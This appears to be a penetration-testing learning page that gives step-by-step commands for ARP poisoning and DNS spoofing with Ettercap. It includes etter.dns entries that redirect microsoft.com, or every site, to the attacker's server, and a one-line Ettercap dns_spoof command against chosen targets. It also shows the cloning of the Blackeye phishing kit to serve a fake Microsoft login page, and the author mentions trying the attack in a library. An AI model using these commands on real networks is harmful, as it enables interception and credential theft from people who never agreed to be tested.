intro

1
2
3
4
5
6
# author: huangyuhui
# date: november 27,2019
# envir: 5.2.0-kali2
# desc: the detailed steps about the dns attack
# repo address: https://github.com/yubuntu0109/penetration-testing-learning
# tested on the mobile browser: [vivo],[xiaomi],[huawei],[quark],[firefox],[qq],[360],[sogou],,

GUI: the detailed steps about the dns attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
'''
[step one]: customize the dns configuration infos of Ettercap
>>> vim ./etc/ettercap/etter.dns
----------------------------------------------------------------------------------------------
eg: modify the dns configuration infos as follow,let it redirect to specified service address
==============================================================================================
microsoft.com			A		xxx.xxx.xxx.xxx (your service ip)
.*microsoft.com			A		xxx.xxx.xxx.xxx
www.microsoft.com		PRT  	xxx.xxx.xxx.xxx
----------------------------------------------------------------------------------------------
ex: add the new configuration infos as follow if you want intercept all of websites
==============================================================================================
*		A		xxx.xxx.xxx.xxx (your service ip)
*		PTR 	xxx.xxx.xxx.xxx
----------------------------------------------------------------------------------------------


[step two]: MitM Attack(arp poisoning) and DNS spoofing by the penetration testing tool of Ettercap
>>> ettercap -G 


[step three]: customize the index page and start the local server of Apache
>>> vim ./var/www/html/index.html
>>> /etc/init.d/apache2 start	# or use this command >>> service apache2 start

(recommend)use the penetration testing tool of Blackeye to replace the service of Apache or others..
>>> https://github.com/YUbuntu0109/blackeye
--------------------------------------------------------------------------------------------------------
becaues you have modified the dns configuraiton infos above,so please test on this option: [16]Microsoft
--------------------------------------------------------------------------------------------------------


[step four]: check the specified service ip with this command
>>> nslookup www.microsoft.com
'''

(RECOMMEND)COMMAND: the detailed steps about the dns attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'''
[step one]: it's same as the first step above
>>> vim ./etc/ettercap/etter.dns


[step two]: MitM attack(arp poisoning) and dns spoofing by the penetration testing tool of Ettercap
the ip address between the target and the gateway is unordered
>>> ettercap -i <iface> -Tq -M arp:remote -P dns_spoof /[target1]// /[target2]//


[step three]: it's same as the third step above and the penetration tool of Blackeye is recommended
>>> git clone https://github.com/YUbuntu0109/blackeye


[step four]: it's same as the fourth step above
>>> nslookup www.sitename.com
'''

moments

a simple dns spoofing with phishing~

😅 a simple penetration testing in library which is so embarrassing . . .